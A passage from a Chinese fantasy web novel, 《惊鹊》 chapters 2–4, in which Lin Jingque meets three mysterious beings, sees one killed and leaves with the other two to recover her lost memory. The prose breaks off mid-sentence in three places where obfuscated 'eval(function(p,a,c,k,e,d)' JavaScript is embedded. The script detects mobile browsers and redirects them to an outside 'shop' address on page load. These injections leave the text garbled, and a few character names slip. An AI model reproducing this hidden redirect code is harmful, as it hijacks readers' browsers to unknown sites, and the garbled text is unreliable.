《惊鹊》 2. 第 2 章 林惊鹊不知道自己该喜还是惊。 喜是她寻觅许久的怪异,竟堂而皇之地出现在她面前。 惊便是因这堂而皇之。 以及数量。 以往她所见过的怪异多是形单影只,再多也不外乎两三只而已。 可当下这情景,十只可能还算少。 怪异黑压压地将这密林包围,数十双眼睛露着凶光,可好似并不是在看她。 她试探着向前抬脚,最前头的几只怪异顿时躁动不安。一个个隆起身躯夹紧尾巴打激灵。 可饶是这般畏惧模样,兽群却仍然围堵得像一面拔地而起的高墙,始终不肯退后分毫。 它们仍旧惧怕她。不同的是,它们即使害怕也不愿再逃。 短暂的惊讶后,林惊鹊压低眉头,目光瞥向那个男人。 难道是因为他? 她原以为这人必定同村民一样,目睹到怪异狰狞样貌便要发狂。 可谁知,他只是站在那里而已。 穿过树丛的风掀起他额前几缕碎金般的发丝,那亮金色的瞳仁中既无惧色也无惊异。 他不害怕,他不受影响。 阴暗树丛中静得可怕,兽群粗重的呼吸声成了林惊鹊唯一能听见的声响。 不,不,她还听见了自己的心跳声,一声比一声更大,如同雷鸣一般盖过了周遭一切。 是一种宛如寻到同类的快感。 “你为何这么看着我?” 林惊鹊的目光直白且炽热,仿佛下一秒就要将男人整个洞穿。他蓦地心虚,试探着再度口: “你没忘是不是?” 如此执着于提及她的过去,要么是认错了人,要么……他当真认识自己。 他,在过去,认识,自己。 仅仅是猜测而已,林惊鹊便觉得体内沉寂已久的某处传来一丝极其微弱的震颤。 “若我说我忘了,你会如何?” 林惊鹊的声音很轻,尾音轻轻上扬,像把小钩子,准准扣在男人心上。 “我……” 他刚一开口,兽群中突然躁动异常。 怪异突袭带起一阵狂风,将林惊鹊满身衣裳发丝吹得翻飞。她抬头望向半空中猛然跃起的巨大身影,它们朝男人扑去,面露凶光。 不知好歹的东西,居然敢跟她抢! 林惊鹊不假思索,提起裤腿一个飞踹,将已经做好迎敌姿势的男人踢了出去。 砰的一声巨响,烟雾消散后是异兽们落了空的身影,它们伏低身子望向摔在一旁的男人,仍是一副垂涎欲滴的模样。 “……你平时很招小动物喜欢?”林惊鹊踱步到男人身侧,视线在两方中来回游移。 “你管这叫小动物?”男人盯着那群堪比巨树大小的异兽,匪夷所思地看着她。 “难讲,我还未曾见过小动物喜欢谁喜欢到想把他吃掉。” “一群疯妖而已,还想吃……唔。” 两人本在缓步后撤,可男人的话却突然引起了林惊鹊的注意。 fengyao? 林惊鹊的眼尾颤了一下。 什么是fengyao? 脑中顷刻间闪过无数画面,可没有一个能跟这两个字对上号。 于是她转过头,望向他。 可他好像不怎么好。 猩红如柱从他鼻腔缓缓滑下,男人下意识用手去擦,在脸侧擦出一片红晕。 鼻血越抹越多,手心手背都沾满血痕,他抬头看向林惊鹊。 “诶,我……” 他张口,更多的血便从他口中掉了出来。 空气中多了一股铁锈的味道,林惊鹊不假思索伸出手接住男人倒下的身体,他软得像块布,沉得像年猪。 异兽群似乎也被这突如其来的变故惊到,它们并未趁危上前,反而绕着二人缓步打转。 所以现在这是什么状况?林惊鹊蹲坐在地,怀中抱着一具半死不活的躯体,耳边嗡嗡作响。 她垂眸望着男人惨不忍睹的脸,视线有一瞬的模糊。 他要死了? 她的线索断了?! 久违的慌乱涌上心头,林惊鹊忙去探他鼻息。好在,男人只是晕了过去。她转过视线,目光所及之处已被异兽包围,大脑在危机时刻飞速旋转。 她得赶紧把这男人带到安全的地方去。 可让林惊鹊没料到的是,异兽群正在退去。 来时如水漫,离去也悄无声息。 她更疑惑了。 方才还将他视作猎物,纵使怕得要死也非要出手,如今猎物已任人宰割,它们为何又不要了? 树林安静无声,眼下情况容不得林惊鹊想更多。她还没一个人拖过年猪,哦不,昏迷的人,着实难以想象,怎能重到如此地步。 就在林惊鹊费尽千辛万苦,终于将人拖出到十几米开外后,从更高处突然传来一声询问。 “要不要帮帮你?” 是男人的声音。 林惊鹊抬头朝声音传来之处望去,一名浑身黑衣的少年正蹲坐在树上,双眼弯成月牙,薄薄一层额发覆盖眉毛。 林惊鹊默不作声,眯起眼睛。 他也不是村里人。 “哎呀?”黑衣少年看向倒在地上昏迷不醒的男人,故作惊讶般扬起眉毛:“这不是我们的月神殿下,哀吗,怎么成了这副狼狈模样?” 月神?神? 疑惑转瞬即逝,林惊鹊竭力按捺着脑中欲喷发而出的兴奋与求知欲,才不至于出口询问。她只觉得指尖在微微颤抖,抓着哀手臂的指头无法控制得越收越紧。 那黑衣少年没注意到林惊鹊的兴奋,又转眸瞧向她,咧嘴笑得灿烂:“可是你做的?” 他似乎不是为了寻求林惊鹊的答案,歪着头笑意变得更深:“还是说,是你做的,久离?” 他话音刚落,林惊鹊顿觉周身气温如坠冰窟。她下意识屏住呼吸后退一步,身后竟又传来另一个人的声响。 “我?那你不该见到他才是。” 好冷,像溪水淌过玉盘。林惊鹊攥紧蛇戒缓缓回过头,眼前所见是一方极近的白。 这人究竟何时靠她如此近的?她竟连半点动静也没察觉。 她再度抬头,名唤久离之人的容貌尽入眼帘。 他生着一头胜雪的白发,并未束起,随意地披散在脑后。林惊鹊不认得那双眼属于什么类型,只觉得他目光好凉,没什么光亮。 可他偏偏目不转睛地盯着她瞧,林惊鹊感觉自己脸上都快结层霜花。 “二位与月神……相熟?”林惊鹊不敢轻举妄动,维持着原本的姿势,笑意盈盈。 黑衣少年从树上一步跃下,凑到久离身边,仍旧一副笑眯眯的表情:“不止哦。” 那便是认识。 林惊鹊脸上毫无波澜,内心却已掀起惊涛骇浪。她捏紧了哀的手臂又缓缓松开,状似无意地询问:“方才我俩被一群……fengyao围困,你们可看见了?” “看见了。本想看到最后,可惜,”久离垂下眼睫瞧了一眼哀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712792|189305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又再次望向林惊鹊,“没这个机会。” 他语闭,林惊鹊身侧树丛中突然传来剧烈抖动,一声声低沉咆哮混杂哀嚎声传来。林惊鹊心下唤了一声不好,那群异兽竟然跟她玩阴的,去而又返! 巨大黑影如箭般从中窜出,直直朝着他们几人扑来。一切发生太快,林惊鹊刚侧过头,便觉得有什么温热的液体溅在了脸上。 异兽没能踏足她身前五米便被利刃洞穿,巨大身躯伴随哀嚎声轰然倒塌。 灰尘四起,久离的身影不知何时出现在异兽身后,他抽回刀刃,细密的血珠顺势被甩在发颤的草叶上。 好强。 林惊鹊额角流下一滴冷汗,假若方才他把这招式用在她身上,林惊鹊确定自己必然毫无招架之力。 她垂眸望了一眼仍在昏迷中的哀,突然觉得这家伙毫无用处。 久离仍旧盯着林惊鹊看,好像方才什么都没发生。 林惊鹊没有避开目光。 ——他门两个也不怕那些异兽。 “那群家伙每次瞧见久离都像疯了一样前仆后继,也不知道搭错了哪根筋,招惹了久离,一秒钟的活头都没有咯。”黑衣少年摇着头行至林惊鹊面前站定,满面笑容不减,“当然,你不会的。” 莫名其妙且突如其来的承诺,林惊鹊笑出了声。 “此话怎讲?”她扬起眉毛,想瞧瞧这人会吐出何等象牙。 “怎讲?当然是因为我们寻你许久,当然是因为有人在等你回家——林惊鹊,你不会把信河殿下给忘了吧?” 林惊鹊的心跳快了几拍。 她并不意外这伙人会知道她的名字,可兴奋感仍然让她呼吸加重。 “伊恒。”兴许是察觉出林惊鹊情绪激动,不同于那少年侃侃而谈,久离唤他时还瞧了眼地上尚未苏醒的哀。 少年了然,勾起嘴角,又补充一句: “这家伙可不算什么正派,他没告诉你,他寻你有何目的吧?” 目的? 林惊鹊脑中倏忽间又闪过梦中场景,那群人也总是叫她交出什么。 她到底有什么? 林惊鹊再次眯了下眼睛:“那你们呢,既是寻我,对我又有何求?可别说只是想看我一眼。” 很敏锐。久离唇角勾起一丝弧度:“有妖想见你。” 林惊鹊没说话,久离再次补充:“与生死无关。” “非见不可?” “非见不可。” 如此说来,主动权便在她了。 林惊鹊对这二人粲然一笑,她松开手将哀丢在一边,摇头一路向后退去。 “正如你们所见,我弱得可怜。” 林惊鹊垂下眉毛,抬手捂心,佯装一副可怜兮兮人畜无害之相: “况且,二位公子也是空口无凭,若我信以为真跟你们去了却成了绝路,又该如何?以那白衣公子的力量,八成稍加用力,小女子便要香消玉殒了。” 话语间,林惊鹊的眼眶说红就红,嗓子里也带上了哽咽的哭腔。 久离没应,伊恒也没像方才一样嘴欠接话。 半晌,久离叹气:“我已于此方天地寻你数十年,你的气味我绝不会认错。” 林惊鹊仍旧哭哭啼啼:“寻人总该有个原因吧,公子不讲明白我又怎么能安心随你们同去?” “你莫不是装傻?”伊恒皱紧眉头附身凑近:“信河殿下可说过,你……” 他话没说完,便被一旁动静引走了注意,林惊鹊也循声望去,只见哀背对着她缓缓坐起。 3. 第 3 章 林惊鹊看不清哀的表情,但仍察觉到他的身体似乎是僵硬了一瞬。 下一秒,他抬头望向久离。 久离也在看着他,二人相对无言。 哀似乎是说了什么,林惊鹊没能听清。 久离的话她倒是听见了,他声音很淡:“月神殿下为何在此,我便是为何了。” 哀的嗓音瞬间清晰可闻: “……你这是要跟我抢?!先来后到的道理,你家主子没教你吗?” 久离笑了:“怎么算抢,凭实力得来,该算理所应当。” 哀该是被彻底激怒了。林惊鹊瞧着他浑身绷紧,也不见如何屈膝发力,下一瞬,已然如一片被风托起的落叶一般从地上弹起。他身形微晃,手腕反转间金光流淌,于他掌心汇聚成一把新月弯刀。 他没做半点停留,凭着一双足尖点地,离弦之箭一般朝久离挥刀刺去。兴许是他刚受过伤,纵使刀刀都往久离要害上砍,可仍是挡不住漏洞百出。久离一路后退躲避,每次弯刀破风而来,皆在久离眼前留下一道短暂刀光。 也只有刀光了,他连久离的一根头发都未曾碰到。 “月神殿下,以您现在的状态,怕是拿不到想要的东西了。” 久离的声音压得极低,唯有他们二人听得见。 林惊鹊站在远处,不明白哀为何像只被踩了尾巴的猫。他像是被逼进了穷途末路,声音沙哑得变了调: “那又如何,我若得不到,便是谁都别想得到,我追寻了这么多年,可不是为了给旁人做嫁衣!你家主子那个白眼狼也不想看见她被毁了吧?!” 林惊鹊挑眉。她好像听见了什么不得了的东西。 久离没有回应,仅是一个偏头便再度躲开哀的攻击。他掀起眼睫,将目光落在林惊鹊身上。 哀以为自己终于得了上风,调转手腕,倒持弯刀,本想就此斩断久离的脖子,却听到他缓缓开口: “她在看。” 谁在看? 短短三字,哀却莫名感觉心惊肉跳。 下意识,他追上久离的视线,猝不及防撞进林惊鹊烟紫色朦胧的眼中。 那眼中满是玩味与探究。 咣啷一声。弯刀掉在地上消散成光。哀的胸腔剧烈起伏,林惊鹊瞧着他那副如同受惊兔子一般的神情,觉得着实有些好笑。 “我不是那个意思……”哪还顾得上什么久离,他慌忙向她跑去,怎敌急火又攻心,一口鲜血淋漓在地。 可他仍未停脚,踉跄着朝她扑去。 久离却在此刻出刀,隔空一挥,一道无形且凌厉的风骤然劈至。刀气砍倒了周围的树木,哀避无可避,结结实实受了这一击。 林惊鹊脸上的笑意有一瞬间的凝固。 久离出手狠辣,哀此时就像个零件拼凑的机关木偶,被摔得七零八落。 “我都说了不要招惹久离,怎么就是不听。”伊恒摇摇头叹气,脸上却毫无惋惜。 哀竭力仰起头,那双眼被鲜血浸染,红色的泪从眼眶滴滴滚落。他应是试图说话,可一张嘴便呛出一大口血来。 林惊鹊仍能感觉到他的目光,哀一双手尽力向前,浑身沾满斑驳血迹,夜色笼罩下仿佛一只刚从地底爬出来的活尸。 柔弱小女子的戏码还没演完,林惊鹊承认此番画面冲击力着实剧烈,她正欲捧心尖叫,久离的声音打断了她的表演。 “月神大人,戏演得太过就不好收场了。你想要什么,你我心知肚明。” 哀的表情变了又变,痛苦脆弱的神情挂不住,他埋首,声音沙哑低沉: “……那种不知来源的力量也好意思拿出手……久离,跟随他,付出了很大代价吧?” 短暂沉默之后,久离喉中溢出一声闷笑: “……本不想杀你,奈何月神一心求死,久离却之不恭。” 他举刀过头顶,刀光如镜,半映他眉间轻蔑,半照哀染血的唇角。利刃裹挟杀意劈落时,落叶纷扬处唯余点点血迹。 “……将死之徒的挣扎。” 久离抬眸,哀闪身到一旁,身躯摇摇欲坠。 而此刻林惊鹊脑子里只有一个想法: 这根本就不是人。 打斗已然惨烈成这副模样,这个被叫做月神的家伙居然还能苟延残喘。 ……她莫名想起了六娘说过的话。 “你那时身上就没一块好肉,竟还是活了过来。” 已经不再需要其他任何猜测,这几人明摆着就是她的同类。 可他们也明摆着,对她有所图谋。 “林惊鹊……我怎么可能把那东西交给其他人。” 突然间,一个冰冷、嘶哑,全然陌生的声音,从哀的口中吐露。 什么? 林惊鹊反应不及,只见哀扭转身躯,如同鬼魅一般朝她扑来。那张脸惨白如纸,唯有双眼还透着妖冶的亮金。 也是那一瞬,梦中某一角落突然在她脑中清晰起来。林惊鹊似乎瞧见,在那人群中也有同样一抹金。 “小心!” 伊恒惊呼,然而比伊恒的声音更快的是久离。 几乎在哀向着林惊鹊扑去的一刹那,久离的身影已经从原地消失。 飒——! 刀光,不是无形之风,而是那把曾洞穿异兽的长刀。刀身雪亮,映着林间昏暗的光,也映出哀那双疯狂赤红的眼。 这一刀没有任何犹豫,快准狠到了极致,并非格挡,而是带着纯粹的杀意,直直刺向哀的胸口。 噗嗤! 刀刃入肉的声音沉闷而清晰。 哀前扑的动作骤然僵住,时间仿佛也在这一刻凝固。 久离手腕一拧,干脆利落地抽刀。 如同一尊骨架坍塌的的泥塑。哀的身体失去所有支撑,直挺挺地跪倒在地。鲜血迅速在他身下蔓延开来,铺就一片刺目猩红。 许久,都没再发出任何动静。 ……就这么死了?林惊鹊站在原地,垂眸看着脚边几步外哀的尸身。暗色血液几乎快染上她的鞋尖,她后退一步抬眼望向站在她身前的久离。 林子死一般寂静,只有风吹过树叶的沙沙声。 她目睹了一场怪人们的自相残杀。 兴奋,恐惧,犹疑,好奇。全部杂糅在一起,于心脏方寸间无限放大。 她感觉自己呼吸愈来愈重。 “……你们到底是谁?” 她听见自己的声音在发抖,伊恒转首本想回应,却在望向林惊鹊时,头一回卸掉了那副笑眯眯的表情。 “你在笑什么……?” 林惊鹊愣了一下。 她抬手扶住侧脸,嘴角不受控制地向上牵拉,近乎战栗的狂喜正从胸腔满溢。 久离也在此刻回过头来,他贴得近,眸子低垂望向林惊鹊,即使瞧着她那副癫狂模样,神色也没半分异常。 林惊鹊竭力压抑住内心喜悦,她抬头同久离对视,眼神上扬时却瞧见他衣襟前不知何时坠着一枚造型奇特的花状玉坠。 一丝极其微弱的熟悉感顿时涌上心头,林惊鹊抬起手,指尖向上,在离那吊饰还有几寸远时,久离蓦地躲开两步,护着那枚项链将其重新放回了衣领中。 还挺小气。林惊鹊扬起眉毛并未多问,她视线绕过久离再度落在哀身上,刚想询问他们要如何处理,树丛之外突然响起人声。 “林惊鹊!你个瘟神,又在山上造什么孽?!” 骂骂咧咧的声音由远及近,几人一齐转向声音方向,林惊鹊瞧见树丛后钻出个熟悉身影,是大柱领着几个村民过来查看。 “你就算再闹我们也……”大柱的咒骂在视线扫过地上尸体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712793|189305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的瞬间戛然而止,他眼睛倏地瞪大,身后村民紧跟着爆发尖叫。 “你……!”他应当是想质问林惊鹊,目光却紧跟着又落在了林惊鹊身侧的另外两人。 刹那间,山中静了下来。 林惊鹊正纳闷,就见大柱露出了她曾经最熟悉的癫狂神色。 “又回来了……又回来了!!你们到底要折磨我们到什么时候?!千百年还不嫌够吗?!” 他口中发出嘶吼,那两名村民也跟着发出怪叫,几人连滚带爬,冲出了树林。 这……?林惊鹊口唇微张,事态发展速度太快,她一时间消化困难。 村民们每每见到那些怪异便会发狂,如今见到这两位不速之客竟也是同样反应。 这两个家伙……跟这山中怪异,是同一种东西? 她想起哀如何称呼那群怪异。 ……fengyao? 可……林惊鹊此时脑中混乱不堪,她无法理清各中原因。 如若她也是那所谓fengyao,那为何村民们面对她时却毫无异状? 如若她是人,又为何仅有她一人对那怪异无半点反应? 如此想着,她再度往身后望去,却发觉这俩怪人状态也不对劲。 伊恒的表情极其复杂,面色红白交替,极力忍耐片刻却仍是呕出一口鲜血。 “……刚才那是何物?我在境内可没见过此等邪祟。” 他看眼林惊鹊,又望向久离。 久离一手撑着树干,指尖透出一点苍白。他伏低身躯,浑身止不住发颤,咳嗽声被他用手掌强行捂住,却捂不住溢出指缝淋漓淌落的血。 “你们受伤了?”林惊鹊有些手足无措。眼下并无止血用品,仅思考了一秒,她眯起眼睛一个箭步冲到伊恒身侧,伸手迅速撕掉少年蔽膝下摆,将他唇边血色尽数抹去了。 “我的衣服!” 林惊鹊充耳不闻,丢了蔽膝碎片又转到久离面前。 相同的手段又来了一遭,久离不仅没躲,被林惊鹊用布料怼脸的时候还抖了一下。 “所以,方才那些是什么?” 久离抬手蹭掉唇边被林惊鹊抹花的血迹,林惊鹊疑惑: “什么?” 久离指向被大柱几人拨乱的树丛: “方才,这里突然窜出几团黑影。” 他目光又落回林惊鹊身上:“你没发觉?还是看见了也没觉得难受?” 啊? 所以说,他们两个之所以吐血,是因为看见了大柱他们? 可是黑影是什么意思?她分明看得真真切切啊? “不是……他们,他们是……” 林惊鹊头一回觉得自己如此词穷,也偏在此时,山下再度响起吵闹声。 林惊鹊眉心惊跳。八成是那群村民看见大柱几人疯魔后,彻底坐不住了。可现如今并不是对峙的时机,如若两拨人相见,疯的疯伤的伤,任谁也没好下场。 她抿唇,终于下定决心,手掌推上久离腰侧,逼着他往丛林深处退: “走,快走。” 伊恒喜笑颜开:“你终于想清楚啦?” 久离没应声,任凭林惊鹊推着,顺从地一步一步往后退。 “不,我没想清楚,甚至觉得此刻的决定愚蠢至极。但我没时间了。” 她目光扫过树丛在逐渐逼近的火光,语速加快: “我知道你们那位想要什么,好巧不巧,关于那东西的记忆,我全都记得。你们若对我不轨,那东西你们也休想拿到。” 久离露出个了然表情: “那么你的条件?” 林惊鹊深呼一口气,心虚之感全部烟消云散: “帮我找回记忆,弄清楚我究竟是谁。在这期间,我会保证你们那位大人想要的东西安然无恙。” 4. 第 4 章 语毕,林惊鹊推在久离腰上的手又添几分力道。 久离垂眸:“得罪了。” 林惊鹊轻呼一声,腕子已被身前人擒住向前带去。视线倏然间天旋地转,待眼前不再恍惚时,她只见得久离背后的衣料。 幸而他并未将她全然扛起,只以手臂托住她的膝弯,另一只手护在腰后,防止她在奔跑中跌落。 林惊鹊稍微抬起眼,目光掠过一旁尸身。她应当没有看错,哀的身形正逐渐趋近透明,化作一团微弱的金光,颤颤巍巍地朝她的方向飘来。 这是魂魄,还是什么? 未等她言语,久离一步便飞掠出数丈远,周身草木皆化作模糊黑影飞驰疾退,再不见哀的形迹。 也听不见村民们的吵嚷声。 林惊鹊心中蓦然涌起一阵难以言说的预感。 此地,她应是再也不会回来了。 “怎么了?” 耳畔风声呼啸而过,久离的声音却清晰可闻。许是因为她伏在他肩上的手太过用力。她没有应答,只一路回望身后连天草木。 可某一刻,林惊鹊觉得耳畔呼啸的风声像是被一只无形的手猛然掐断! 周身万籁俱寂,陷入一阵诡异的静默。眼前的景象随之有一瞬的扭曲,世间全部色彩恍若同时倾倒在她眼前,纠缠,混杂。 她眨了眨眼,仰头望向本该染上朝霞的天际——无数怨灵具象成扭曲人脸,泣血诘问。 “……为何弃我,我孑然一身等你归来,为何……” “为何骗我……” “死是为我布的局吗?你怎的如此狠心……” “为什么你什么都不给我……” 这都是什么东西?林静茹皱起眉头,团团黑雾裹挟滔天怨念,密不透风压将过来。她听见无数不知来源的怨与恨,如同鬼魅一般在她身体中来回穿梭。 体内气息随之大乱,她终是扛不住如此大的压力,哇地吐出一口血来。 久离察觉到身上人异常,他瞬间止步,林惊鹊便软绵绵地滑到他怀里。 那张脸近乎毫无血色。 “你怎么了?!” 久离轻拍林惊鹊侧脸,满溢不断的花香冲进他鼻腔,久离莫名觉得这味道,他曾经闻到过的。 林惊鹊说不出一句话,侧过头又呕出一口血。她眼前一片朦胧,模糊中似乎看见一片满是丁香花的世界。 紫色绵延不断,香味过浓凝结成块飘荡在空气中。她侧身从地上爬起,不远处正有人坐在花丛中央。 林惊鹊蹙眉观望,脚步却不由自主朝那人靠近。她发觉自己无论如何努力,都无法看清那人的相貌。 花瓣来回变换形状,遮挡在她脸上,她仰头声音带笑: “你回来了,妖的宿命从一开始就是远离人类。” “我真不是人?”林惊鹊反问。 “答案需要你自己去探寻。” “那你又是何人?” “我在等待你的拯救。”她再次开口,敛起袖子递来一枚玉简,“她也一样。” 林惊鹊接过,那片玉简四四方方,约莫跟她手掌一般大。其上纹样精雕细琢,一只她辨不清种类的鸟栩栩如生,连它口中衔着的丁香花都刻得极其精细。 她将玉简翻转。正面是一个生着黑色羽翼,閤眼小憩的女人。她身上撒了些闪粉,晃动玉简时,羽翼和眼睫会一同闪烁,好像活着一般。 “这是……?” 林惊鹊正欲再问,抬眼对上的却是闪烁灼目的篝火。 疑惑尚未从脑中生成,浑身的酸痛率先占领高地。林惊鹊倒吸一口凉气,刚想呼痛便见眼前凑来一张大脸。 “啊!” 林惊鹊登时吓了一跳,拳头不假思索便挥了出去。 伊恒捂住眼睛痛得大叫:“我一路把你背过来,你怎么还打我?!” 眼前终于清明,林惊鹊这才看清周遭状况,树木仍旧接连不断,伊恒正捂着脸泪眼汪汪地跌坐在她身前。 她再度扫了眼四周,久离不在。 她这才换上一脸歉意,蹲到伊恒身侧:“对不住对不住,一时没看清,还以为你是什么怪物呢。” “你可真会聊天。”伊恒嘟嘟囔囔。 “哎呀,你便原谅我这回吧,看在我什么都记不得的份上,您大人有大量。” 伊恒瞅她片刻,也不知道是哪句话奏了效,竟真点了点头: “罢了,看在信河殿下的份上,不与你计较。” 林惊鹊只觉时机正好,连忙追问: “你们常提的这位信河殿下,究竟是何方神圣?感觉你很崇拜他,想必特别厉害是不是?” “自然!”伊恒语气顿显自豪:“我们信河殿下在域外可是妖尽皆知。” 他指着自己的脸又道:“你瞧我,若非当年信河殿下出手相救,我早就不知成了哪处野鬼,今天被你打一拳也得谢谢信河殿下给我这个机会。” “想不到他如此心善,既如此,寻我也定是因为善良吧?” 伊恒摇摇头,眯起眼睛再度露出笑容:“想从我这里套消息就算了吧,信河殿下可从来都不跟我们讲他的意图。你若好奇,待见到信河殿下后,一切自会分明。” 此话一出,林惊鹊顿觉无趣,笑意尽数收敛,起身夺了伊恒正拨弄火堆的木棍,将他挤走时还不忘斜了一眼。 故弄玄虚,简直就是有病。 伊恒无奈一笑,却也顺从地坐到了一边。 两人突然没了话语,伊恒咋舌,率先开口: “说起来,你可清楚自己为何会晕倒?” 林惊鹊百无聊赖地戳着火堆,依言回想起梦中种种,若那女人所言当真,她随久离他们离去这事倒还真做对了…… 哦对了,说到久离。 林惊鹊侧首望向伊恒,答非所问:“久离呢?” 伊恒沉默了片刻,又舒了口气才回应她:“你昏迷一天,加之呕血,久离去给你寻草药去了。” 还挺有眼力。林惊鹊转瞬就忘了方才,眸子在眼眶里一转,又挤到伊恒身侧: “你跟久离共事多久了?十年有没有?” “少了,将近四十余年吧,怎么,你想做何?” 伊恒身子后仰,看着林惊鹊的眼神中带了点警惕。 “别怕呀,我看你跟久离相熟,想问你他是不是一直都这般厉害?” “不是一直都这般厉害,是越来越厉害。起码自打我跟他相识以后,还没见他输过。” “哦——那请问,跟这般出众的妖共事多年,会自卑吗?”林惊鹊眨眨眼,神色无辜。 伊恒面上笑意来不及褪去,赤色便已爬满整张脸颊。他咬紧牙关,连发丝都炸起几根: “不是,你好冒昧啊?我们才刚认识!” “久离固然出众,可我也是深得信河殿下青睐的!” “你有所不知,信河殿下居所内外洒扫诸事,都是由我一手打理的!正因如此,殿下才住得如此舒坦!” “况且,信河殿下只救过我一只妖!!” 往后几个时辰,伊恒反复向林惊鹊细数自己对信河殿下何等要紧。大到出任务时信河如何看重他,小到每每会面时,信河看待他的表情变化。 可每当林惊鹊轻飘飘问出一句: “那类似方才杀哀的任务,都是谁在做?” 伊恒立刻就成了哑巴。 林惊鹊笑得不行。 片刻过后,伊恒似是要做出最后挣扎,连声音都高了几度:“可是,可是信河殿下曾经用久离的半……” 他话没说完,一捆药草突然抽在了他嘴上。 林惊鹊也是一惊。她抬眸望去,久离不知何时归来,鬼一般立在火光背侧的阴影中,一身素衣上沾满未散去的雾气。 伊恒痛得跳起,眼角飙泪:“……好歹用布裹起来再打啊?!” 久离:“多嘴。” 语毕他便不再管伊恒,目光转向默瞳:“伸手。” 林惊鹊并未多想,将手伸了出去。 久离蹲下身,轻轻将林惊鹊的袖子卷起,火光在他脸上摇曳,下垂的眼睑落下一片来回颤动的阴影。 四下一片寂静,林惊鹊只听见噼里啪啦枝叶燃烧的声音,久离掀起眼睫对上她的视线又迅速移开,他分拣出几根药草在掌心用术法炼成粉末。 “受了伤,连疼都不知道?” “什么?”林惊鹊话音未落,便感觉手臂处传来细细密密如银针穿过皮肤的痛,她嗓子里噎了一声,久离敷药的手没停:“疼就喊出来。” 林惊鹊在此方面从来不会亏待自己,说喊便喊,那叫声可谓惊天地泣鬼神,骇得一旁伊恒赶紧捂住了耳朵。 久离却恍若未闻,只淡淡补了一句:“此药愈伤有奇效。” 是有奇效,林惊鹊只觉得胳膊快被烧化了。 敷药过后,久离又极其细致地为她裹好伤处,林惊鹊盯着自己已然无法乱动的手臂,不禁怀疑她到底有没有受如此重的伤。 思索间,久离又递来些用树叶裹就的粉末。林惊鹊探颈轻嗅,成色诡异,味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712794|189305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道奇怪。 她连忙摇头。 久离又往前送了半寸:“没毒,吃吧。呕血不好受,吃这个,不日便愈。” 林惊鹊抬眸又将这人细细瞧了一遍,如此冷峻姿容,杀人时又那般心狠手辣,实际上是个如此贴心的? 怎么看都像是叫她放下防备的手段…… 这般想着,林惊鹊的目光扫过他沾着些许泥土的衣摆,又跃至指尖上细小的划痕。 罢了……林惊鹊咬咬牙还是吞了药粉。那味道实在难言,用她的话说,便是发了疯的村民也断不会吃这东西。 治疗过后,久离退至一旁背倚着一棵树屈膝坐下。 一时间三人都没了言语,空气中弥漫着枝叶烧焦的味道,火舌高高跃起又被内里盛着的焦炭拽回来,不时抛出几粒灼目的火星。 篝火燃烧的声音占据了周遭一切声响,林惊鹊眼中映着跳跃的火舌,视线却愈加迷离。不知怎的,哀濒死时的样子突然闯进了她的大脑。 焰色烧成滴滴滚落的鲜血,碰到哀的身上就如墨渍沾到宣纸般,勾着细细小小的丝蔓延开来。他挣扎着抬起头,那双金瞳中掉出一滴血泪,他问: “你知道他们为什么来找你吗?” 跟白日里相同的问题,叫林惊鹊的心都揪在一起。 哀周身的黑暗扭曲崩溃,连他身上的血色也跟着一并坍塌破碎。他逐渐逼近,口中念叨着那句没答案的问题,林惊鹊觉着,哀简直要撕碎那片黑夜来见她了。 林惊鹊欲哭无泪,转身就逃:“又不是我把你害死的,你找我干嘛,去找他们啊?!” 哀不应,只带起连串的的风声。 黑夜里的树林不分东南西北。林惊鹊不知道自己该往哪跑,她不敢回头,也不敢停下脚。就当哀的声音逐渐远去,林惊鹊以为自己快要把他甩掉的时候,她一头撞上了一堵墙。 林惊鹊暗叫一声倒霉,捂着额头仰首去看。 入眼是一个身材高大的女人。漆黑双翼从她背后延展而下,柔软卷曲地垂落在地上。林惊鹊看不清她的脸,却无端看得清她的眼神。她正低垂着眼望她,视线落在林惊鹊脸上时瞳孔微微缩起,上眼睑跟着压低些许,遮掩了眸中全部的光亮。 林惊鹊听到她嘶哑的声音如玉碎: “你还活着?” 夜幕中突有狂风肆起,林惊鹊的视线被几片黑羽所凌乱。她看到她身后的黑翼迎着风陡然张开,本来颀长的身姿变得巨大且可怖,语气也更加癫狂: “你居然还活着?!” 本就无几的光亮更是被她那双羽翼阻隔,林惊鹊觉得自己快要因为心跳过速而死。 女人飞速靠近,林惊鹊想继续逃,可浑身上下无论何处都是不上一点力气。就在铺天盖地的黑色几乎将她吞噬殆尽时,她听见了遥远的笛声。 是一首似曾相熟的曲子,可林惊鹊想不起在哪听过。 